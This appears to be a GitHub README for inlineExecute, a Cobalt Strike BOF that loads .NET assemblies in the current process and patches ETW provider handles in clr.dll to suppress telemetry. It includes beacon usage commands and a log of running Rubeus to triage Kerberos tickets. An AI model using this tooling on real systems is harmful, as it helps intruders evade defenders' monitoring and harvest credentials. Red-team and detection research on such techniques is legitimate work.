loland
e6b0e1b455
some code snippets to perform the Subscriber Bit Patching technique. Not yet integrated into the BOF nor sufficiently tested.
inlineExecute
inlineExecute is Cobalt Strike BOF that executes a .NET assembly in the current process (rather than spawning a sacrificial process with execute-assembly).
It stands as a POC, and as a boilerplate to experiment with novel techniques in the future.
ETW Bypass
Currently, it implements a novel ETW bypass technique: Provider Handle Patching. It is documented in my blog - A Stealthier Reflective Loading.
The Provider Handle Patching technique prevents ETW telemetry from being generated by userland hooks in clr.dll.
Unlike traditional ETW patching techniques. This does not modify memory protections, and does not require suspicious WinAPIs like WriteProcessMemory, NTWriteVirtualMemory, VirtualProtect, NtProtectVirtualMemory.
Usage
Load inlineExecute.cna from Cobalt Strike -> Script Manager -> Load. Ensure that inlineExecute.o and inlineExecute.cna are in the same directory.
beacon> inlineExecute
[+] Usage: inlineExecute [-etw] [-verbose] <filepath> <args>
The -etw flag patches ETW in clr.dll.
inlineExecute -etw /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage
The -verbose flag outputs debugging information.
inlineExecute -verbose -etw /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage
Example usage with Rubeus.exe triage.
[11/29 04:08:35] beacon> inlineExecute -etw /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage
[11/29 04:08:35] [+] Executing: /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe
[11/29 04:08:35] [+] Arguments: triage
[11/29 04:08:37] [+] host called home, sent: 459528 bytes
[11/29 04:08:37] [+] received output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
Action: Triage Kerberos Tickets (Current User)
[*] Current LUID : 0x1bc1b
---------------------------------------
| LUID | UserName | Service | EndTime |
---------------------------------------
---------------------------------------
[11/29 04:08:37] [+] received output:
[+] Done